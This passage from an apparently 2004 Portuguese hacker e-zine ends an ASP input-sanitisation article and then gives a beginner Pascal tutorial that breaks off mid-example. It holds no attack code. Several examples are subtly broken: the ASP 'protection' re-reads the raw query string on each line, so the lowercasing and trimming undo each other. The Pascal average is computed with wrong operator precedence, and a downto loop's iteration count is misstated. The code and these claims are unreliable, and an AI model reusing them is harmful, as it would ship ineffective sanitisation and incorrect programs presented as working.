'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>

Case sensitivismo

Um 'espertinho' pode muito bem usar tecnicas de casesensitivismo a fim de tentar
passar por tecicas de proteccao muito usadas em sistemas de IDS como protocol analisys.
Nesse caso:
 e  nao sao iguais. Lembro
que o Snort era vulneravel a essa tecnica

Proteccao
Passa por chamar uma funcao do ASP que transforma letras maiusculas em minusculas:
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Case Sensitivismo
id=LCase(Request.Querystring("id"))
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>

Bem por hoje eh tudo na proxima parte pretendo abordar tecnicas de proteccao mais avancadas
contra codificacao de bytes em hexadecimal e decimal ate tecnicas de rastreamento e
logging, algumas tecnicas de diversao a fim de 'massacrar' o atacante e fazer ele perder
tempo a toa pensando que esta atacando a rede. Pretendo ainda falar sobre pattern matching.

4:17 PM 2/23/2004

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[11]-=[Programação em Pascal]-=|d4rwin|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                          Programação em Pascal
                          =========== == ======

E aí galera, blz?  So eu(tio  d4rwin) mais uma  vez, =). Bom,  resolvi  escrever
sobre pascal,  pq visto  que  o  público alvo  do  e-zine  são newbies(como eu),
seria  legal  para    pessoas  que    estão començando,     ou  mesmo    os  já
iniciados, aprender   ou aprimorar    seus  conhecimentos   em  programação.   O
pascal,  além  de  ser  uma linguagem  de alto    nível, não  é   difícil de  se
aprender,    basta   dedicação    e   programaçao.    Programação   se   aprende
programando.  Lógico    que a  parte    teórica é   importante,    mas  praticar
sempre  foi  e   sempre  será   a  melhor  forma  de  se aprender.  Agora  vamos
deixar  de blá  blá blá e vamos  ao que interessa...

          Index
          ~~~~~

 1.0 ..... Introdução
    1.1     Lógica de Programação
    1.2     Quem criou o Pascal?

 2.0 ..... Compiladores
    2.1     Borlando Pascal 7.0
    2.2     FreePascal
    2.3     Outros compiladores

 3.0 ..... Estrutura do programa em Pascal
    3.1     Cabeçalho
    3.2     Comentário
    3.3     Título
    3.4     Bibliotecas
    3.5     Constantes
    3.6     Tipo
    3.7     Variáveis
      3.7.1  Declarando Variáveis
    3.8     Corpo do Programa
    3.9     O uso do ;

 4.0 ..... Sinais

 5.0 ..... Comandos Básicos

 6.0 ..... Estruturas
    6.1     Estruturas de Atribuição
    6.2     Estruturas Condicionais

 7.0 ..... Laços
    7.1     Laço FOR
    7.2     WHILE
    7.3     Repeat

 8.0 ..... Vetores

 9.0 ..... Matrizes

 10.0 .... Registros

 11.0 .... Tratamento de Arquivos

 12.0 .... Procedimentos e Funções

 13.0 .... Agenda Eletrônica em Pascal

 14.0 .... Exercícios

 15.0 .... Agradecimentos

 16.0 .... Links

 1.0 - Introdução
       ~~~~~~~~~~

 Vc deve estar se perguntando: "Porque eu,  em pleno ano 2004, uma época em  que
 já lançaram   o  Delphi   8, vou   aprender  Pascal,   uma  linguagem antiga  e
 orientada a eventos?". Aí  eu te respondo meu  amigo, a primeira linguagem  que
 aprendemos, nós nunca esquecemos. É como andar de bicicleta. Com base nisso,  o
 Pascal é  uma ótima  linguagem para  se começar. O Pascal daria  uma boa   base
 pra  vc,  depois, aprender  uma outra  linguagem. E  tem aquela  história, todo
 conhecimento é bem vindo.

 1.1 - Lógica de Programação
       ~~~~~~ ~~ ~~~~~~~~~~~

 Entende-se por lógica de programação,  uma seqüência de passos a  serem tomados
 para resolver determinado problema(no  nosso caso, construir um  programa). Não
 adianta o cara saber colocar textos e figurinhas na tela, se este não tiver uma
 boa  lógica  de  programação,  e,  é  isto  que  difere  o  bom  programador do
 programador  ruim.  Ter  uma  boa  lógica,  significa  conseguir  resolver   os
 problemas(construir   os  programas),   para  que   o  resultado   final   seja
 satisfatório. Portanto, vá com calma. Não vá com muita sede ao  pote...primeira
 aprenda a andar, pra depois correr.(Filosofei bonito agora, hein, =)).

 1.2 - Quem criou o Pascal?
       ~~~~ ~~~~~ ~ ~~~~~~~

 O Pascal foi  criado por Niklaus  Wirth, em 1972,  em Genebra-Suiça. O  nome da
 linguagem foi uma homenagem ao matemático e filósogo Blaise Pascal(inventor  da
 primeira  calculadora  mecânica).  O  objetivo  de  Niklaus  Wirth,  era  o  de
 desenvolver uma linguagem simples, clara e fácil de programar.

 2.0 - Compiladores
       ~~~~~~~~~~~~

 Não vou entrar em  detalhes sobre o que  são compiladores, pois já  falei sobre
 eles  na  Zine  MOTD GUIDE  01,  no  texto "Introdução  à  Programação".  O que
 basicamente os compiladores fazem são transformar o código de alto nível(código
 em Pascal), para linguagem de máquina.

 2.1 - Borland Pascal 7.0
       ~~~~~~~ ~~~~~~ ~~~

 O Borlando Pascal ou Turbo Pascal(são os mesmos) surgiu em 1985, com a Borland.
 Isto provocou um  verdadeiro avanço para  a linguagem. Desde  as suas primeiras
 versões  o Turbo  Pascal já  possuia ambiente  para digitação  e depuração  do
 código, e fazia  a compilação  e  linkedição  em um  único processo.  A  última
 versão  do  Turbo  Pascal   lançado   foi  o   Turbo   Pascal  7.0.   Porém   a
 Borland  parou o desenvolvimento do Turbo Pascal, fazendo com que ele se  torna
 -se ultrapassado, mas ainda muito utilizado, para os tempos atuais.

 2.2 - FreePascal
       ~~~~~~~~~~

  O FPC(FreePascal Compiler)  é um projeto  OpenSource que visa  continuar com o
  desenvolvimento da linguagem Pascal. Além de ser compatível com o Turbo Pascal
  7.0, possui vários  projetos em andamentos.  Possui mais recursos  que o Turbo
  Pascal 7.0,   e ainda   permite interagirmos   com alguns   GUIs(Graphics User
  Internface) e  APIs. O site  do projeto é: www.freepascal.org |  Em português:
  http://www.freepascal.eti.br.

 2.3 - Outros Compiladores
       ~~~~~~ ~~~~~~~~~~~~

 Além  dos  dois  compiladores  citados acima,  tem  outros  que  também merecem
 respeito. Abaixo segue a lista de alguns, com seus respectivos sites:

   Compilador    |  Site
   ^^^^^^^^^^       ^^^^
   ---------------------------------------------------------------------------
  | Pascaler      |  www.pascaler.hpg.com.br / www.infoxbr.com.br             |
  |---------------------------------------------------------------------------|
  | PascalZIM!    |  www.superdownloads.com.br / autor: pascalzim@yahoo.com.br|
   ---------------------------------------------------------------------------

 3.0 - Estrutura do Programa em Pascal
       ~~~~~~~~~ ~~ ~~~~~~~~ ~~ ~~~~~~

 Um programa em Pascal possui básicamente a seguinte estrutura:

 { Nome do Programa ...............:
   Função .........................:
   Plataforma .....................:
   Linguagem ......................:
   Data de criação ................:
   Data de última alteração .......:
   Autor ..........................:
 }

 Program Nome_do_Programa;
 Uses ;

 Const
   = 'valor_da_constante';

 Type
   : ;

 Var
   : ;

  Begin
    comandos;
    comandos;
    comandos;
       .
       .
       .
    comandos;
   End.

 3.1 - Cabeçalho
       ~~~~~~~~~

 O cabeçalho não é uma parte fundamental para o funcionamento do programa. Mas é
 bom você adotar o costume de utilizá-lo, pois assim terá um melhor controle  de
 seu programa, e sentirá menos dificuldade na hora de atualizá-lo. Um exemplo de
 Cabeçalho:

 { Nome do Programa ...............:
   Função .........................:
   Plataforma .....................:
   Linguagem ......................:
   Data de criação ................:
   Data de última alteração .......:
   Autor ..........................:
 }

 3.2 - Comentário
       ~~~~~~~~~~

 Comentários  são  frases  ou pequenos  parágrafos  auto-explicativos  que visam
 deixar mais claro  ao programador o  funcionamento de seu  programa, assim como
 ajudá-lo na hora de atualizá-lo. Um exemplo de comentário em Pascal:

 { Este  é um  exemplo de  comentário em  Pascal. Tudo  o que  for escrito entre
 CHAVES,  é  desconsiderado pelo  compilador.  O comentário  pode  continuar por
 vários linhas, até a segunda chave. }

 (* Este  é outro  exemplo de  comentário em  Pascal. Tanto  este como o exemplo
 acima são válidos. *)

 3.3 - Título
       ~~~~~~

 Título é o nome que o seu programa vai ter. Não tem segredo, ele é declarado da
 seguinte forma:

 Program ;

 3.4 - Bibliotecas
       ~~~~~~~~~~~

 Em pascal, damos o nome de  Units as Bibliotecas. É nas bibliotecas/units  onde
 ficam armazenadas as  rotinas e funções  a serem utilizadas  no programa. Assim
 como em C,  temos a Bibliteca  stdio.h como "padrão",  no Pascal, temos  a unit
 CRT, utilizado  em quase  todos os  programas feitos  em Pascal.  Um exemplo de
 declaração de Units:

 Uses ;

  por exemplo:

 Uses CRT,DOS,Graph;

 3.5 - Constantes
       ~~~~~~~~~~

 Constantes são "variáveis" que nunca mudam. Uma vez declarado um valor para uma
 constante, esse valor jamais mudará. Um exemplo de declaração de constantes:

 Const  = 'valor_da_constante';

   por exemplo:

 Const d4rwin = 'lindao';

 3.6 - Tipo
       ~~~~

 Em Pascal, podemos declarar nossas próprias variáveis, desde que especifiquemos
 o tipo desta variável. Um exemplo de um declaração de tipo:

 Type  = ;

   por exemplo:

 Type d4rwin = string;

 3.7 - Variáveis
       ~~~~~~~~~

 As variáveis em Pascal, são dividas em quatro grupos, sendo elas:

 Numéricas     -> Podem ser números inteiros  ou reias, pelos dígitos de 0  a 9,
                  sinais + ou - e "." para casas decimais.

 Alfanuméricas -> Podem ser formadas por qualquer caractere da tabela ASCII.

 Lógicas       -> Podem  assumir  apenas  dois  valores:  TRUE(Verdadeiro)   e
                  FALSE(Falso).

 Ponteiros     -> Podem armazenar apenas endereços de memória.

  Tipos de variáveis:

   -----------------------------------------------------------------------------------------
  |  Classe     |    Tipo      |     Valores Comportados     |   Bytes que Ocupa na Memória |
  | ------------|--------------|-----------------------------|------------------------------|
  |  Boolean    |   Lógico     |      TRUE ou FALSE          |          1 byte              |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Byte       | Num. Inteiro |          0 a 255            |          1 byte              |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Char       |  Caracter    |       Tabela ASCII          |          1 byte              |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Comp       | Num. Real    |     -9.2E18 a 9.2E18        |          8 bytes             |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Double     | Num. Real    |     5.0E-324 a 1.7E308      |          8 bytes             |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Extended   | Num. Real    |     3.4E-4932 a 1.1E4932    |         10 bytes             |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Integer    | Num. Inteiro |     -32768 a 32767          |          2 bytes             |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Longint    | Num. Inteiro |  -2147483648 a 2147483647   |          4 bytes             |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Real       | Num. Real    |     2.9E-39 a 1.7E38        |          6 bytes             |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Shortint   | Num. Inteiro |        -128 a 127           |          1 byte              |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Single     | Num. Real    |    1.5E-45 a 3.4E38         |          4 bytes             |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  String     |  Caracter    |     Cadeia de Caracteres    |      Varia de 2 a 256        |
  | ----------- |--------------|-----------------------------|------------------------------|
  |  Word       | Num. Inteiro |          0 a 65535          |          2 bytes             |
   -----------------------------------------------------------------------------------------

 3.7.1 - Declarando Variáveis
         ~~~~~~~~~~ ~~~~~~~~~

 Bem,  existem  variáveis globais  e  locais. Mas  não  vamos entrar  nisso  por
 enquanto. A declaração de uma variável em Pascal segue a seguinte sintaxe:

 Var  : tipo da variável;
      : tipo da variável;
      : tipo da variável;

       por exemplo:

 Var d4rwin     : string[15];
     num1,num2  : integer;
     contador   : word
     Resposta   : char;

 {Repare no string[15]. O número entre parênteses indica que a variável terá  no
 máximo  15 caracteres.  Quando   não  se coloca  o valor  entre parênteses,  o
 programa considera a variável com o limita máximo de 256   caracteres.}

 3.8 - Corpo do Programa
       ~~~~~ ~~ ~~~~~~~~

 Vimos até  agora, Constantes,Tipo  e Variáveis.  Esses três  campos servem para
 dizermos  ao compilador  quais recursos  iremos utilizar,  para que  assim ele
 reserve um espaço  na memoria para  tais recursos. Depois  de declarados o  que
 iremos utilizar no programa, vamos ao  bloco principal ou corpo do programa.  O
 bloco  principal começa  no momento  em que  digitamos BEGIN,  e acaba  quando
 digitamos END. Veja um exemplo:

 Begin
  comandos;
  comandos;
  comandos;
  comandos;
 End.

 3.9 - O uso do ;(ponto-e-vírgula)
       ~ ~~~ ~~ ~~~~~~~~~~~~~~~~~~

 É importante ressaltar o uso do ";". O ";" é muito importante, pois é ele  quem
 indica que a  linha terminou. Se  nos esquercermos de  por o ";"  o programa na
 compilará, por isso sempre preste muita atenção.

 4.0 - Sinais
       ~~~~~~

 Assim como na  matemática nós utilizamo-nos  de sinais para  efutuar cálculos e
 operações, em Pascal não podería ser diferente. Abaixo, segue os sinais e  para
 que servem:

    +    -> Soma
    -    -> Subtração
    /    -> Divisão entre números reais
    *    -> Multiplicação
    Div  -> Divisão entre números inteiros
    Mod  -> Retorna o resto de uma divisão entre inteiros

 5.0 - Comando Básicos
       ~~~~~~~ ~~~~~~~

 Agora a coisa está començando  a ficar legal...=). Vamos aprender  agora alguns
 comandos básicos, que nos auxiliarão na criação do programa, e também  deixá-lo
 com uma cara mais bonita. São eles:

 Write   -> O comando write é utilizado para imprimir alguam coisa na tela.  Sua
 sintaxe é:

            write ('Hello World');

            {Observe a aspa simples, tudo o que estiver dentro de aspas simples,
            é considerados texto pelo compilador }

 WriteLN -> Faz a mesma  coisa que o write, mas  depois de impresso o texto  ele
 posiciona o   cursor na   primeira coluna  da  linha  abaixo.  LN  = Line.  Sua
 sintaxe é igual a do Write.

 Read    -> O  comando read  serve para  lermos dados  vindos do  teclado.   Por
 exemplo, eu faço  uma pergunta, então   utilizo o  read para ler  a  resposta e
 armazenar   esta  resposta    numa  variavel(declarada na  área  Var, antes  do
 bloco principal). Sua sintaxe é:

            read(variável);

            {Sendo variável aonde vai ser armazenado o valor lido}

 ReadLN  -> A exemplo  do writeln,  o  readln  lê os  dados e  após a   leitura,
 posiciona o cursor na primeira coluna da linha abaixo. LN = Line. Sua sintaxe é
 igual a do read.

 ClrScr  -> Este  comando  limpa  a  tela  e  posiciana  o  cursor  na  primeira
 linha,primeira coluna. Sua sintaxe é:

            ClrScr;

 Delay   ->  O comando  delay serve  para pausar  a execução  do programa por um
 tempo  determinado.   O  tempo    é   determinado  em  milisegundos,   portanto
 1000 milisegundos equivalem a 1 segundo. Sua sintaxe é:

             Delay(milisegundos);

 Trunc    -> Este comando pega a parte inteira de um cálculo ou número real. Sua
 sintaxe é:

             Trunc(num_real);
               por exemplo
             Trunc(9.5 / 2.2);

            {Pega a parte inteira do resultado da divisão de 9.5 com 2.2}

 GotoXY   -> Em pascal, a tela é divida em 80 colunas e 25 linhas. Com o comando
 GotoXY, você  pode ir  para qualquer lugar  que esteja entre essas 80 colunas e
 25 linhas. Sua sintaxe é:

             Gotoxy (coluna,linha);

 UpCase   ->  Este comando  pega caracteres  em letras  minúsculas e os converte
 para caixa alta. Sua sintaxe é:

              var_do_tipo_string := UpCase(var_do_tipo_string);

 ReadKey  ->  Este  comando  pausa  o  programa  até  que  alguma  tecla   seja
 pressionada. Sua sintaxe é:

               Readkey;

                  ou

               var_do_tipo_char := readkey;

 textbackground -> Este comando defini a cor de fundo. Sua sintaxe é:

                   textbackground(numero_da_cor);
                             ou
                   textbackground(nome_da_cor);

 textcolor      -> Este comando defini a cor da letra. Sua sintaxe é:

                   textcolor(numero_da_cor);
                             ou
                   textcolor(nome_da_cor);

      Cores Disponíveis:

         ·BLUE
         ·GREEN
         ·CYAN
         ·RED
         ·MAGENTA
         ·BROWN
         ·LIGHTGRAY
         ·DARKGRAY
         ·LIGHTBLUE
         ·LIGHTGREEN
         ·LIGHTCYAN
         ·LIGHRED
         ·LIGHMAGENTA
         ·YELLOW
         ·WHITE
         ·BLACK

      {Nós podemos  também somar  duas cores,  por exemplo  : "textcolor  (RED +
      BLUE);".  Adicionando  a  string        "Blink"  a  cor,  temos um  efeito
      piscante, por exemplo: "textcolor (RED + Blink);" .}

 6.0 - Estruturas
       ~~~~~~~~~~

 Aqui  vamos  estudar  duas  estruturas:  As  estruturas  condicionais  e  as de
 atribuição.

 6.1 Estruturas de Atribuição
     ~~~~~~~~~~ ~~ ~~~~~~~~~~

 Bom, como o próprio nome já  diz, estruturas de atribuição são utilizadas  para
 atribuir  valores  a variáveis.  Por  exemplo, eu  tenho  uma variável  A,  uma
 variável B e uma variável chamada Resultado. Eu quero que os valores da soma de
 A + B sejam atribuídos a variável Resultado. Isso ficaria da seguinte forma:

 Resultado := A + B;

   {Note o ":=". Diferente de outras linguagens, o sinal de atribuição em Pascal
   é dois ponto e um igual. Toda      vez que utilizarmos este sinal, o valor da
   esquerda recebe o valor da direita.}

 6.2 Estruturas Condicionais
     ~~~~~~~~~~ ~~~~~~~~~~~~

 As estruturas condicionais são utilizadas quando nos deparamos com determinadas
 situações em que temos que tomar  decisões. Por exemplo. Estou andando na  rua,
 mas pode chover, então  se chover, eu devo  pegar um guarda-chuva, senão,  devo
 continuar andando. O mesmo acontece com programação, por exemplo, estou fazendo
 um programa que lê duas notas bimestrais, calcula a média e diz se o aluno  foi
 aprovado ou reprovado. Consideremos a média  como 70. Portanto, SE a média  for
 menor que 70, imprimir reprovado, SENÃO imprimir aprovado. Veja um exemplo  pra
 entender melhor:

 media := A + B / 2; {O sinal "/", indica divisao de numeros reais}
  if media < 70 then
   writeln ('Reprovado!')
  else writeln ('Aprovado');

 OBS.: IF = Se | THEN = Então | Else = Senão

 {No exemplo acima, calculmos a média do  aluno, e de acordo com a média,  maior
 ou menor que 70, damos o resultado.}

 Sintaxes para IF:

 IF condição THEN      IF condiçao THEN    IF condição THEN    IF condição THEN
   comandos             Begin               Begin                comando;
 ELSE comandos;          comandos;           comandos;
                         comandos;           comandos;
                           ...                 ...
                         comandos;           comandos;
                        End;                End
                       IF condição THEN     ELSE Begin
                        Begin                     comandos;
                         comandos                 comandos;
                        End;                     End;

 OBS2.: Quando  temos um  ou mais  IFs dentro  de um estrutura condicional(outro
 IF), denominamos tal estrutura de  IF Aninhando/Se Aninhando.

 Existe também outra estrutura condicional,  a estrutura CASE. Abaixo segue  sua
 sintaxe:

 CASE escolha of
  begin
   1..100   : begin
               writeln ('Você digitou um número.');
              end;
   'A'..'Z' : begin
               writeln ('Você digitou uma letra maiúscula');
              end;
   'a'..'z' : begin
               writeln ('Você digitou uma letra minúscula');
              end;
              else ;

 {Quando utilizarmos apenas uma writeln,  um readln, ou qualquer outro  comando,
 não há  a necessidade  de se  usar   o  begin e  end; (eu  usei de tongo mesmo,
 hehehe).}

 7.0 - Laços
       ~~~~~

 Laços de  repetição são  utilizados quando  queremos que  determina situação se
 repita até que algo aconteça, fazendo com que a situação pare de ser executada.
 Por  exemplo, estou  fazendo um  programa que  cadastra clientes.  Para que  o
 usuário não tenha de abrir mais um vez o programa toda vez que quiser cadastrar
 um novo cliente, criamos um laço de repetição. O laço ficaria se repetindo  até
 o momento em que o usuário não desejasse mais cadastrar usuários.

 7.1 - Laço FOR
       ~~~~ ~~~

 O laço  FOR permite  que determinemos  a quantidade  de vezes  que tal bloco do
 programa será executado. Sua sintaxe é:

 OBS.: FOR = De | TO = a | DO = Faça

 FOR contador := 1 to  do
  begin
   comandos;
   comandos;
   comandos;
  end;

   por exemplo:

 FOR contador := 1 to 5 do
  begin
   writeln ('MotdLabs');
   writeln (' by d4rwin');
  end;

 {Este laço acima repetiria(imprimiria) 5 vezes na tela as frases MotdLabs e  by
 d4rwin.}

 O  laço  FOR  também  nos  permite  determinar  o  número  de  vezes  de  forma
 descrescente. Por exemplo:

 FOR contador := 5 downto 3 do
  begin
   comandos;
   comandos;
   comandos;
  end;

 {O laço acima executaria 2 vezes,  contando regressivamente de 5 até chegar  em
 3, o que está entre begin e end;}

 7.2 - WHILE

 Aqui está mais uma  estrutura ou laço de  repetição. Utilizamos o WHILE  quando
 queremos que determinado  bloco do programa  se repetia até  que algo aconteça.
 Sua sintexe é:

 OBS.: WHILE = Enquanto | DO = Faça

 WHILE condição DO
  Begin
   comandos;
   comandos;
   comandos;
     ...
  End;

  por exemplo:

 WHILE num > 10 DO
  Begin
   writeln ('Eu estou aprendendo Pascal');
   writeln ;
   writeln ;
   writeln ('d4rwin eh l33t0, =)');
   num := 8;
  End;

 {No exemplo acima temos a seguinte  condiçao, num > 10. Enquanto essa  condição
 for verdadeira(maior que 10), o    programa executará aquilo que estiver dentro
 do bloco de repetiçao. Quando o programa encontra num := 8, ele    sai do laço,
 pois a condição se tornou falsa.}

 7.3 - Repeat
       ~~~~~~

 Podemos dizer que o Repeat  é o contrário do WHILE.  Ele executa o que está  no
 bloco de repetição até que a condição seja verdadeira. Enquanto a condição  for
 falsa, ele executa o bloco de repetição. Sua sintaxe é:

 Repeat
  comandos;
  comandos;
  comandos;
     ...
  comandos;
 Until (condição_for_verdadeira);

 por exemplo

 Repeat
  write  ('Digite um num: ');
  readln (num);
  write  ('Digite outro num: ');
  readln (num2);
  result := num + num2;
  writeln ('Resultador: ',result);
 Until (result < 0);

 {No  exemplo  acima,  o  programa  fica  somando,somando...somando,  até  que o
 resultado seja negativo/menor que 0.     Repare que o Repeat dispensa o uso  do
 Begin e End;}

 8.0 - Vetores
       ~~~~~~~

 A  partir do  momento em  que precisamos  declarar um  número muito  grande de
 variáveis,  faz-se  necessário o  uso  de vetores,  denominado  em Pascal  como
 "array", para que  não tenhamos o  desconforto de declarar  todas as variáveis.
 Por exemplo,  estou fazendo  um programa  que cadastre  os 300  clientes de  um
 empresa. Imagina o trabalho que daria  declarar 300 variáveis do mesmo tipo,  e
 pior, o desconforto que seria criar  a estrutura para ler essas 300  variáveis.
 Por isso nós utilizamos arrays. Sua sintaxe é:

 Var  : array [1..n] of integer;

  por exemplo

 Var clientes : array [1..300] of string[15];

 {A estrutra acima é a forma como declaramos arrays em Pascal.}

 Para acessar essas  variáveis no programa, utilizamos o nome do array mais  seu
 indice. Por exemplo: clientes[1], clientes[2], clientes[3] ... cliente[n];

 Mesmo utilizando-se de arrays, o processo de ler os 300 clientes seria  penoso.
 Por isso,  utilizando-se de  um laço  FOR, podemos  ler todos  os clientes, com
 apenas algumas linhas. Segue o exemplo:

 FOR contador := 1 to 300 do
  begin
   readln (clientes[contador]);
  end;

 {No Laço acima, o  programa lê do cliente  1 ao 300. Note  que entre parenteses
 encontra-se  "contador".  Portanto,   o  programa  ficará  lendo  os  nomes dos
 clientes, até chegar em 300.}

 Para imprimir o nome de um cliente, faríamos assim:

 writeln ('Cliente: ',cliente[76]);

 E se quisessemos imprimir  o nome de todos  os clientes, utilizaríamos mas  uma
 vez o laço FOR:

 FOR contador := 1 to 300 do
  begin
   writeln ('Cliente Numero: ',contador);
   writeln ('Nome: ',clientes[contador]);
   writeln ;
  end;

 9.0 - Matrizes
       ~~~~~~~~

 As matrizes  se assemelham  aos vetores,  mas possibilitam  armazenar um número
 maior de variáveis. Abaixo  segue um desenho de  como seriam mais ou  menos uma
 matriz:

            1   2    3    4    5
          ------------------------
       1 | 1,1| 1,2| 1,3| 1,4| 1,5|
         |----|----|----|----|----|
       2 | 2,1| 2,2| 2,3| 2,4| 2,5|
          ------------------------
 {Em cada "cazinha" é armazenada uma variável}

 Como você pode observer  no desenho acima, temos  5 colunas e 2  linhas. Quando
 estamos mechendo com matrizes, sempre nos referimos primeiro a linha, depois  a
 coluna. Abaixo segue um exemplo de declaração de matrizes:

  : array [1..10,1..10] of integer;

 por exemplo:

 numero  : array [1..10,1..10] of integer;

 {No  exemplo   acima, declaramos   uma  matriz  que  possui   10 linhas   e  10
 colunas. Quando queremos acessar  alguma      variável armazenada numa  matriz,
 utilizamos um índice com as coordenadas.}

 Por exemplo:

 writeln ('Numero: ',numero[2,6]);

 {No exemplo acima, será impresso na tela  o número que está na linha 2,  coluna
 6.}

 Para ler(read) um ou imprimir uma matriz, utilizamos os seguitens laços FOR:

 for linha := 1 to 10 do
  begin
   for coluna := 1 to 10 do
    begin
     write  ('Digite um numero: ');
     readln (numero[linha,coluna]);
    end;
  end;

 {Vamos analisar o laço acima, o programa pede para o usuário digitar um número.
 Este número é armazenado  na     linha 1,coluna 1.  Depois o laça se  repetirá,
 então o próximo número a ser lido  será armazenado na linha 1,     coluna 2,  e
 assim por diante. Quando a  coluna chega a 10, o  laço passa para a linha  2, e
 tudo se repete, =)}

 10.0 - Registros
        ~~~~~~~~~

 Registros são utilizados para  armazenas várias variáveis de  tipos diferentes.
 Por exemplo,  estou criando  um programa  para o  CENSO. Eu  preciso do nome da
 pessoa,  sua idade,  telefone e  endereço. Nome,idade,telefone  e endereço  são
 variáveis  de  tipos  diferentes.  Por isso,  veja  como  ficaria  este exemplo
 utilizando registros:

 Type registro = record
                  nome     :string[15];
                  idade    :integer;
                  telefone :integer;
                  endereço :string;
                 end;

 {Analisando a estrutura acima, vemos  que registro é igual a  record. Portanto,
 toda vez que quisermos nos  referir a um registro que tenha nome,idade,telefone
 e  endereço,  utilizaremos  : "var    :  registro". Isto   declararia
   do   tipo   registro,     isto   significa    que   na     variável
  poderíamos gravar nome,idade,telefone e endereço.}

 Como se referenciar a um registro?
 Para nos referenciar a um registro, utilizamos a seguinte sintaxe:

 .variavel;

   por exemplo:

 registro.nome;
 registro.idade;
 registro.telefone;
 registro.endereço;

 Um exemplo de leitura com o registro seria:

 write  ('Digite um nome: ');
 readln (registro.nome );
 write  ('Digite sua idade: ');
 readln (registro.idade);
 write  ('Digite seu tel: ');
 readln (registro.telefone);
 write  ('Digite seu endereço: ');
 readln (registro.endereço);

 11.0 - Tratamento de Arquivos
       ~~~~~~~~~~ ~~ ~~~~~~~~

 Em pascal, nós podemos mecher, mesmo que inderetamente, com arquivos binários e
 .txt.  Para começarmos  a trabalhar  com tratamento  de arquivos,  é necessário
 declarar a variável-arquivo. Abaixo segue  a sintaxe da declaração de  arquivos
 binários:

   Type ArqInt = File of Integer;
   Var Numeros : ArqInt;

        ou

   Var Numeros : File of Integer;

 Declaração de arquivos texto:

   Type ArqTexto = Text;
   Var Texto : ArqTexto;

        ou

   Var Texto : Text

 {Note que só utilizamos "File of" para arquivos binários}

Abaixo segue os comandos e suas sintaxes. No final eu darei um programa-exemplo,
utilizando tais comandos.

 ASSIGN   -> Este  comando serve para  informar ao programa,  onde localiza-se o
 arquivo  (binário  ou  texto),  no   HD.  Sempre  que  formos   trabalhar   com
 tratamento     de    arquivos     em    Pascal,     devemos    utilizar    este
 comando. Sua sintaxe é:

             Assign(Variavel,'C:\MotdLabs\Texto.txt');
             Assing(Variavel,'C:\MotdLabs\Numeros.bin');

 RESET    -> Abre o arquivo para somente leitura. Sintaxe:

             Reset(nome_do_arquivo);

 APPEND   -> Abre o arquivo para inserção de mais coisas. Somente para  arquivos
 texto. Sintaxe:

             Append(nome_do_arquivo);

 REWRITE   -> Este  programa verifica  a existência  do arquivo.  Se o   arquivo
 existir, ele   apaga tudo   o que   tem  dentro  do  arquivo.  Se o arquivo não
 existir, ele  cria o  arquivo no  local especificado  pelo Assign. Sintaxe:

             ReWrite(nome_do_arquivo);

 CLOSE    -> Fecha o arquivo. Sintaxe:

             Close(nome_do_arquivo);

 READ     -> Recebe o valor lido. Sintaxe:

             Read(nome_do_arquivo,variável);

 WRITE    -> Escreve no arquivo. Sintaxe:

             Write(nome_do_arquivo,valor_a_ser_escrito);

 Exemplo  de um  Programa utilizando  tratamento de  arquivos: OBS.:  Execute o
 programa, e depois verifique o arquivo C:\Arquivo.txt

--------------------------------Corte Aqui--------------------------------------

{ Nome do Programa ......................: Tratamento de Arquivos
   Função ...............................: Programa exemplo usando tratamento de arquivos
   Plataforma ...........................: Windows / 32 bits
   Linguagem ............................: Pascal
   Data de criação ......................: 07/12/2003
   Data de última alteração .............: 07/12/2003
   Autor ................................: d4rwin
}

 Program exemplo_01;
 Uses CRT,DOS;

 Const Arq_real = 'C:\Arquivo.txt';

 Type ArqTexto = Text;

 Var List      : ArqTexto;
     nome      : string[15];

  Begin
   clrscr;
   textbackground (blue);
   textcolor (white);
   clrscr;
   gotoxy (14,2);
   writeln ('Programa Exemplo 01'); gotoxy (14,3);
   writeln ('-------- ------- --');
   writeln ;
   writeln ;

   delay (500);

   Assign (List,Arq_real);
   {$i-}
    Reset(List);
   {$i+}

   if IOResult <> 0 then
     rewrite (List);

   write  ('Digite seu nome: ');
   readln (nome);

   write (List,nome);
   Close(List);

   writeln ;
   writeln ;
   writeln ('--------------------------EoF--------------------------');

   writeln;
   writeln;
   readkey;
  End.

--------------------------------Corte Aqui--------------------------------------

 12.0 - Procedimentos e Funções
        ~~~~~~~~~~~~~ ~ ~~~~~~~

 Agora veremos rapidamente o que são procedimentos e funções, e como utilizá-los
 no programa.

  Procedimentos
  ^^^^^^^^^^^^^

  Procedimentos  são identificados   em Pascal   como   "procedures". Procedures
  são programas, iguais ao bloco principal, mas que não faz parte do mesmo.  Não
  entendeu? Deixa eu explicar  melhor, nos  procedimentos nós  podemos  declarar
  variáveis,  imprimir, ler,   tudo aquilo  que  fazemos  no bloco  principal. A
  diferença está que estes são seperados. O procedimentos são declarados entre o
  Var e o Begin  do bloco principal. Vamos ver um exemplo  de procedimentos:

 Program procedimentos;
 Uses CRT;

 Var num1,num2  : integer;
     nome       : string[10];

  Procedure  ;
            Var var1,var2   : integer
                var3,var4   : word;
                aux         : byte;
             begin
